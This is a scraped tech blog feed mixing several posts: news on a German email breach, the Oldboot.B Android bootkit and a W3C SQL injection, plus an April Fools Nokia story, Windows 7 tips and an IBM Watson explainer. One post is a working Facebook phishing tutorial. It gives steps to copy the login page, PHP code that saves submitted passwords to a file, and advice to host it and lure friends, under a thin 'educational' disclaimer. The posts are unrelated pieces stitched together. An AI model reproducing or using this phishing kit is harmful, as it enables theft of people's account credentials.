The Facebook post below: "[SHOCKING VIDEO]

Flight MH370 FOUND in Indian Ocean!" is another Facebook video survey scam and hoax, which claims that Malaysian Flight MH370 has been found in the Indian Ocean.

Worst Data Breach in German History, 18 Million Email Passwords Compromised

Germany has confirmed its biggest Data theft in the country's history with usernames and passwords of some 18 million email accounts stolen and compromised by hackers.

The Story broke by the German press, Der Spiegel on Thursday, when German Authorities revealed another mass hacking of private data belonged to German citizens and major Internet companies both in Germany and abroad.

16 million and now 18 million

Authorities in the northwestern city of Verden unearthed a treasure of personal information, a list of about 18 million stolen email addresses and passwords, and seized it just after only two months from the previous major data breach, when researchers came across 16 million compromised email accounts of German users while conducting research on a botnet, a network of computers infected with malware. 

The accounts were compromised by hackers in the mid of January, and Der Spiegel suggests that the same group of hackers is responsible for both thefts and that they may be based in one of the Baltic countries.

million on spam.. shop.. theft

According to Investigators, some of the accounts are used to send spam emails and some combinations of email and password are used for online shopping portals, as these mass of stolen personal information could also be used to obtain the financial details of users account. 

To help in securing the Internet users, German authorities warned to take additional security measures to prevent cyber criminals using their data while shopping online.

"It is suspected that these stolen records are being actively misused," said Lutz Gaebel, spokesman of the prosecutor's office in Verden.

source of data

Till now, It has not been revealed by the investigators that how much they know about this massive data Breach and How the attackers get their evil hands on the personal data of over 18 million users. Lutz Gaebel declined to give more information due to the ongoing investigation.

It is estimated that at least three million of the accounts belonged to German citizens and some of the compromised email accounts have international domain extensions such as ‘.COM’. But in real, the number could be much larger than the visible one as the investigation is ongoing.

The German prosecutor investigating the latest major data theft informed the country's IT watchdog, Federal Office for Information Security (BSI), to introduce additional security measures to help the Internet users.

Pakistani Hacker Arrested for Hacking Telecom Company Database

Pakistan’s Federal Investigation Agency (FIA) has arrested a Pakistani Hacker allegedly involved in hacking into a telecom company and uploaded their database on his website.

With the help of the National Response Center for Cyber Crime (NR3C) of Pakistan’s Federal Investigation Agency, the local authorities were able to trace and arrest the hacker suspected of infiltrating into the systems of Warid Telecom, an Abu-Dhabi-based telecoms company that provides services in Congo, Pakistan and Uganda.

The suspect, Mubashar Shahzad, a resident of Kasur, is believed to have downloaded Warid Telecom’s customer information from the company’s databases and exposed it online, which was published on earlysms.com, a site hosted with HosterPK.

Investigation started after one of the senior manager of a cellular company filed a complaint saying the ‘information of its consumers till 2006 had been exposed over the internet.’

“A technical/forensic analysis found that the website was being hosted by hosterpk. The FIA traced the IP address, email address and phone number of the suspect through the host company,” Usman Anwar, the Director of FIA told The Express Tribune.

The suspects IP address was traced to a shop in Ghalla Mandi, Kasur, from where the authorities arrested the suspect Mubashar Shahzad. The Investigation Team also detected and seized Shahzad’s computers which contained folders named ‘Warid Data’. In addition to that, two desktop systems, hard drives and portable Hard drives were also seized by the authorities.

The website on which the stolen data was posted by the hacker has now been shut down.

5-year-old Boy discovers Microsoft Xbox Password Bypass vulnerability

A 5-year-old San Diego boy managed to hack one of the most popular gaming systems in the world, Xbox and has now been acknowledged as a security researcher by Microsoft.

Kristoffer Von Hassel uncovered a vulnerability in Xbox Live's password system, that would allow someone to log into a Xbox player's account without their password. Kristoffer's parents noticed he was logging into his father's Xbox Live account simply by tapping the space bar.

Yes, Backdoor entry with just a space bar.

His father noticed that Kristoffer logged in as his Xbox Live account to play video games that he wasn't meant to be playing and asked how he had done it. 

Kristoffer revealed that by typing in the wrong password and then by pressing the spacebar, he bypassed the password verification through a backdoor, and it was pretty simple!

5-year-old gamer actually hacked the authentication system of a multi-billion dollar company, and his feeling "was like yeah!", Kristoffer said to local news station KGTV.

His father reported the vulnerability to Microsoft Security Team, and it has been fixed by them. Microsoft issued a statement, “We're always listening to our customers and thank them for bringing issues to our attention. We take security seriously at Xbox and fixed the issue as soon as we learned about it.”

Microsoft awarded the junior security researcher with some cool games, $50 bugs, a one-year free subscription to Xbox Live and listed his name on their website among other security researchers.

I wish a bright Infosec career ahead of him. Cheers!

Most Sophisticated Android Bootkit Malware ever Detected; Infected Millions of Devices

Hardly two month ago there's a report about the first widely spread Android Bootkit malware, dubbed as 'Oldboot.A', which infected more than 500,000 Smartphone users worldwide with Android operating system in last eight months, especially in China.

Oldboot is a piece of Android malware that's designed to re-infect Mobile devices even after a thorough cleanup. It resides in the memory of infected devices;  It modify the devices’ boot partition and booting script file to launch system service and extract malicious application during the early stage of system’s booting.

Yet another alarming report about Oldboot malware has been released by the Chinese Security Researchers from '360 Mobile Security'. They have discovered a new variant of the Oldboot family, dubbed as 'Oldboot.B', designed exactly as Oldboot.A, but new variant has advance stealth techniques. Especially, the defense against with antivirus software, malware analyzer, and automatic analysis tools. "The Oldboot Trojan family is the most significant demonstration of this trend." researchers said.

Oldboot.B, Android Bootkit malware has following abilities:

1. It can install Malicious apps silently in the background
2. It can inject malicious modules into system process
3. Prevents malware apps from Uninstalling
4. Oldboot.B can modify the browser's home page
5. It has ability to uninstall or disable installed Anti-virus from the device

Infection and Installing more malware apps:

Once an Android device is infected by Oldboot.B trojan, it will listen to the socket continuously and receive and execute commands received from the attacker's command-and-control server.

Malware has some hidden ELF binaries, that includes steganographically encrypted strings, executable codes and configuration file downloaded from C&C server, located at az.o65.org (IP is 61.160.248.67).

After installation, Oldboot Trojan install lots of other malicious android applications or games in the infected device, which are not manually installed by the user.

Malware architecture:

Oldboot.B architecture includes four major Components, those automatically executes during the system startup by registering itself as a service in the init.rc script:

1) Boot_tst:

uses remote injection technique to inject an SO file and a JAR file to the 'system_server' process of the Android system, continuously listen to the socket, and execute commands sent.

2) adb_server:

replaces pm script of Android system with itself and used for anti-uninstallation functionality.

3) meta_chk:

update the configuration file, download and install Android Apps promoted in the background. The Configuration file is encrypted, that greatly increases the time required to analyze.

To evade detection, meta_chk destroys itself from the file system, and left with only the injected process. Android Antivirus software does not support the process memory scan in the Android platform, so they cannot detect or delete the Oldboot Trojan which resides in the memor.

4) agentsysline:

module written in C++ programming language, run as a daemon in the background to receive commands from command-and-control server. This component can uninstall anti-virus software, delete the specific files and enable or disable network connection etc.

Problems for Security researches:

To increase the problem of malware analyzers:

1. It add some meaningless code and trigger some behaviour randomly
2. Check for Sim card availability in the device, and will not perform certain behaviour if there is no Sim card available to fool the sandbox and emulators
3. Check for the existence of antivirus software, and may uninstall the anti-virus software before doing anything malicious.

Malware uses the steganography techniques to hide its configuration file into images:

"But after some analysis, we found that the configuration of meta_chk is hidden in this picture, which contains the command will be executed by meta_chk and other information." researchers said. The size of this configuration file is 12,508 bytes.

"Depending on the commands sent from the C&C server, it can do many different things, such as sending fake SMS messages or phishing attacks, and so on. Driven by profit, the Oldboot Trojan family changes very fast to react to any situation."

Oldboot.B is one of the most advanced Android malware that is very difficult to remove, but antivirus firm 360 Mobile Security also released Oldboot detection and removing tool for free, you can download it from their website.

To avoid infection, Smartphones users should only install apps from trusted stores; make sure the Android system setting 'Unknown sources' is unchecked to prevent dropped or drive-by-download app installs; don't use untrusted custom ROMs and install a mobile security app.

W3C website fell victim to an SQL injection

It has come to to light today that the website of W3C (World Wide Web Consortium) has fallen victim to an SQL injection from an unknown party.

W3C announced today in a blog post that they had hired external penetration testing firm Cure53 to conduct a routine test on their infrastructure and had discovered several vulnerabilities, one of which was an SQL injection.

Upon further investigation, the W3C systems team had determined that the SQL injection had been leveraged by an unknown party and their database had been breached. The database was full of user credentials which we presume at the least contained Usernames, Encrypted passwords and E-mails. 

The W3C systems team have now fixed all of the discovered exploits and tightened their security by decommissioning all unused services and undertaken other security measures.

The passwords are encrypted but it is unknown what encryption method was used so it is not possible to determine how quickly an attacker could decrypt the hashes and be left with plaintext login information.

W3C have asked all users to reset their passwords immediately and to use the forgotten password function on the website should they have lost this information.

Hacking Facebook passwords-Facebook Bruteforcer softwares[for n00b]

 Are you searching for Facebook or gmail Hacking Software?  if your answer is yes,  you come to the right place.

You may read  somewhere else as "use this hacking software to hack facebook accounts". And some hacking blogs has some post like this with procedure:

Download this software

Run the application.

Enter your email id and password

Enter your victim email id.

That's all your friend account is hacked.

Some hacking bloggers also mentioned Bruteforcer for Facebook.  if you enter the email id, it will hack the email. 


First of all , let me ask one question " Do you think facebook is f****ng stupids?"  .  Do you think it is possible to hack any accounts within a minute using these kind of softwares?(Innocence).

The truth is that you are being hacked.  You realized that?

Don't be a n00b, think like a Security Expert.

Then what is Facebook hacking softwares?

There is no Such software that will hack Facebook accounts , if you give email id simply.  They are fake softwares.

What is the Aim of these Kind of Hacking Facebook password softwares?

This kind of fake softwares are created by Hackers to trick n00b hackers.  If the n00b download and run the application, it may launch some malicious programs (spyware,trojans,..).    

Trojans leads to dead of your computer.  But most of hackers won't do this stupid thing.  They use spyware to steal your confidential data instead.

n00b: gadget.controller. you are right, my system is infected by some kind of spyware.

Gadget.controller: that's what i said.

 n00b: but  how hackers hack Facebook account passwords?

Gadget.controller: There are some other ways to hack the Facebook passwords. Let me explain what they are.

Method-1: Phishing webpage

Phishing webpage is traditional way of hacking accounts.  Old is Gold!!  Learn about Phishing now!

Phishing webpage is a fake webpage of the target website that helps hackers to lure the victim into believe that they are visiting the legitimate website. 

Let me explain how to create a facebook phishing .

STEP-1:

Go to facebook and right click on website .  Select "View source" and copy the code to notepad.

STEP-2:

Now search (Press ctrl +f) for keyword "action"  in that code.

You fill find the code like this:

Here, let me explain what "action" means to.  If you have some basic knowledge of web applications, then you already know about that.  'Action' is a HTML attribute that specifies where to send the form-data when a form is submitted.

In the above code, the action attribute has the value that points to facebook login php file (https://login.facebook.com/login.php).  So when a user click the login button, it will send the data to the login.php page. This php file will check whether the entered password is valid or not .

To capture the form-data, we have to change the action value to our php file. So let us change the value to ' action="login.php" '.  Note: I've removed ' http://login.facebook.com/' from the value.

Save the file as index.html.

STEP-3:

Now , let us create our own login.php file that will capture the entered data and redirects to original facebook page.

Open the notepad and type the following code:

<?php
header("Location: http://www.Facebook.com/login.php ");
$handle = fopen("pswrds.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

Save this file as "login.php"

STEP-4:

Open the notepad and just save the file as "pswrds.txt" (without any contents).

STEP-5:
To host your phishing page, you may need a webhosting.  You can create a free account in free web hosting providers. Once you have created account in free hosting site, you can host your files and run.  Also, your files can be viewed by visiting a specific URL provided when you create account. For example : 'your_url_name.webhosting_domain.com'.

Now upload those files(index.html,login.php,pswrds.txt) in the free Web hosting site. Make sure your fake page is working or not by vising your url. 


Now , You have to lure your friends into login into your phishing page. Once they login into the page, you can see the login credentials being stored in the "pswrds.txt" file.

NOTE:

The above article is for educational purpose only, written for beginners of Ethical hacking or Pentesting to understand the basics so that it will be easy for them to understanding advanced topics.

METHOD-2: Keyloggers

Keylogger is spyware that will capture each key strokes in keyboard.  So , if the victim type the id and passwords, it will be captured and mailed to you.

Nokia 3310 article by NDTV

I am feeling very proud that our blog Gadget Controller is much more faster than NDTV ...!! :D

NDTV just posted an article about NOKIA 3310 and just couple of minutes after than our post.
Take a look.

Just when one thought that Nokia will launch even more products in its Nokia X family running Android or new Lumia devices based on Windows Phone 8.1, April Fools' Day comes and Nokia announces its heritage 3310 in a new avatar.

The Nokia 3310, which was initially launched in 2000 and is one of the most successful phones ever released by Nokia, has made a modern-day comeback.

The Finnish giant has introduced its 3310 sporting a 41-megapixel PureView sensor with Zeiss optics and Xenon flash. Further, the 3310 is seen boasting a huge camera hump at the back panel, much like Nokia 808 PureView and Nokia Lumia 1020.

The company claims that the Nokia 3310 now runs a modified version of Windows 8 (yes, you heard it right) with a new 'ClearDiamond' 3-inch WXGA (768x1280) display.

The Nokia 3310 PureView will be available in Blue, Dark Blue, Green, Red and Yellow colour variants.

The revamped Nokia 3310 is a touchscreen device and also sports three soft-touch navigation buttons, alongside a Windows Phone 'home' button.

Other specifications of the Nokia 3310 include a 1.5GHz dual-core processor; 2GB of RAM; 1430mAh battery; 32GB inbuilt storage; Bluetooth 4.0; Wi-Fi and 3G.

The yesteryear device Nokia 3310 comes with pre-loaded with four games - Snake II, Pairs II, Space Impact and Bantumi. Other pre-installed apps include MS Office, Xbox Games, Outlook and OneDrive.

Nokia notes that the Nokia 3310 will be rolled out with 3G connectivity, while LTE-enabled devices will follow later this year.

Commenting on the Juha Alakarhu, Nokia's Head of Imaging Technologies said, "I'm really excited that we've found a way to marry our innovative PureView technology with such a beloved device. With its durable design and iconic look, we think even more people will enjoy our signature PureView magic."

Earlier on Tuesday, HTC and Samsung both showed off smart-gloves on April Fools' Day.

Samsung hit the hammer first, announcing its first 'all-over-hand' wearable device dubbed Samsung Fingers that features a flexible Super Emo-LED for the technology-sensitive consumer. HTC on the other hand teased its HTC Gluuv, which is also a smart-glove.

Google, despite being one of the biggest tech companies showed off its unique sense of humour and that's most apparent on April 1 every year. The Mountain View giant has a long list of gags that include Google Pokemon Maps, Gmail Shelfie, Emoji Translate in Chrome, Auto Awesome Photobombs, Google Magic Hand, Nest Total Temperature Contro and WazeDates.

Anyway, NOKIA took  a massive decision and move forward in this competitive tech world!

NOKIA 3310 GETS 41-MEGAPIXEL, WINDOWS PHONE MAKEOVER

Initially released in the year 2000, the Nokia 3310 went on to be one of the most successful mobile phones ever. More than 125 million were sold. This cult handset is making a modern-day come back.

Staying near-true to the original design, the Nokia 3310 with PureView will add a 41MP PureView camera with Zeiss optics and Xenon flash, and will run a modified version of Windows Phone 8 to fit the unique ‘ClearDiamond’ three-inch touch screen.

As well as the classic metallic dark blue, the Nokia 3310 with PureView will also come in yellow, blue, red and green too.

Three ‘soft-touch’ navigation keys still feature a Windows Phone ‘home’ button has been introduced to you straight back to the Start Screen.

LiveTiles and App Folders are supported and it comes pre-installed with MS Office, Xbox Games, Outlook and OneDrive that offers 7GB free cloud storage out of the box.

Juha Alakarhu, Nokia head of Imaging Technologies, said:

"I’m really excited that we’ve found a way to marry our innovative PureView technology with such a beloved device. With its durable design and iconic look, we think even more people will enjoy our signature PureView magic ”

 To power the next-gen operating system and class-leading camera, Nokia engineers have achieved the unthinkable, scaling down a dual-core processor, 2GB RAM and 32GB of on-board storage into a case that mimics the original size (113 x 48 x 22mm) and weight (133g).

A side-mounted MicroSD card slot offers additional storage expansion. The first devices will rollout with 3G connectivity while LTE-equipped devices will follow later in the year.

With a nostalgic nod to yesteryear, the Nokia 3310 with PureView comes pre-loaded with four games – Snake II, Pairs II, Space Impact and Bantumi -, a currency converter and original monophonic ringtones.


Norman Gage, who has been campaigning for the return of the Nokia 3310 since its discontinuation, said:

“It’s an historic day. For five years, we’ve worked hard to make our voice heard and now our dreams are about to become reality. Personally, I’d have preferred to keep the five-line, monochrome screen, six ringing-tone volume levels and original message templates, but you can’t win them all!”

With Windows 7 came Aero Snap, or the ability to maximize a window by dragging it to the side of the screen. But what if you want to easily tile your windows?

4. Open an Application

To start an application that is pinned to the taskbar, hold the Windows key and press the number that corresponds with its location (Win+number from one to nine).

5. Manage your Applications

To open a new window of the same application (for example, to open a new Chrome window or a second Desktop folder), hold the Shift key, the Window key and then a number from one to nine. If you want to page through the open windows, press Control, Window, and a number, from one to nine.

6. Pin any time to the task bar

By default, Windows 7 only lets you pin applications to the taskbar. But if you want to pin a different item like a file or folder, follow these easy steps. 

1) Drag and drop the file onto your desktop (If the item is in the Favorites folder, follow these extra steps) 

2) Right click > New > Shortcut

3) Type in: explorer "C:shortcutsFavorites - ShortcutName.lnk"

4) Name the shortcut

5) The Shortcut will now appear as a folder, which you can right click to pin to the taskbar

7. Open a command prompt

To access the open a command option, hold down the Shift key and right-click a folder.

This tip only works for Windows 7 or Vista. To do this on Windows XP, you must use a registry hack.

8. Access the secret "send to" menu

Did you know that there is a secret "Send To" menu that you can access with the Shift key? Hold down Shift, right-click the folder and select the "Send To" menu. This lets you access a whole new set of file locations, so you can quickly re-locate a folder without the hassle.

9. Modify the default "send to" menu

If you want to change the options that appear in your default "Send To menu," type "shell:sendto" into the location bar of a folder. You can then drag and drop new folder locations to the Send To folder.

10. Open any Webfile or Webpage 

The Run Command is an easy way to open any file, application or website. Use the Win+R keyboard shortcut to open the Run dialog box. From here, type in the name of any application and hit Enter. You can also enter a URL directly into this field to open up any webpage.

11. Create a Zip folder

A zip folder is the quickest way to transport a large selection of files. To create a zip folder, right click a regular file folder and select the "Send To" option. The "Compressed (zipped) Folder" option will compress your folder and make it easier to upload the files in one fell swoop.

IBM’s ‘Watson’ supercomputer explained for beginners

IBM Watson is a super computer with artificial intelligence that makes it capable of answering questions baffled in natural language. It is named after IBM’s founder Thomas J.Watson. This computer system was specifically designed to answer quiz questions in Jeopardy!( Jeopardy! is an American television show featuring general knowledge based quiz competition ) and it successfully smashed humans in the game. The supercomputer won first prize of $1 million with its highly impressive replication ability to answer questions, just like humans.

How Watson worked in Jeopardy

In the game Jeopardy! all players wait for the host to read the clue before answering. Once the clue is read, players must press buzzer button for winning the chance to respond. In case of Watson, the computer received clues as electronic texts, and as soon as it was ready with the answer, it activated the buzzer. Clues were provided to Watson at the same time when they were read to humans, but Watson continuously proved its efficiency to search the correct answers through its algorithms, and that too more quickly than humans.

Key components

Watson accesses over 90 IBM Power 750 servers, 200 million pages of structured and unstructured data including full Wikipedia text exhausting 4 terabytes of disk storage, 2880 processor cores, 16 terabytes of RAM, Apache UIMA frameworks, Apache’s Hadoop, SUSE Enterprise Linux server, 11, 500 gigabytes of preprocessed information, and IBM’s DeepQA software. Watson processes at the rate of 80 trillion floating-point operations per second.

Technology and future

Science behind Watson is its aptness to understand and learn natural language which brings machines closer to human beings. One superlative character of Watson supercomputer is that it works on feedback and learns from its own experiences for the future improvement like humans learn.

IBM announced an investment of more than $1 billion to create the Watson Group, a new business division to promote the supercomputer’s commercial use. It will soon be introduced in health care system, shopping malls, and more. Watson can transform health-care by complete and accurate diagnostics.

As per a recent estimate, one in five patients is diagnosed inappropriately, Watson can help medicine to make processes more efficient as it leaves no space for human error. Watson can help banks for solving financial challenges by its better analyses and error solving skills. Similarly Watson can be introduced to many fields where intelligence and accuracy is required.
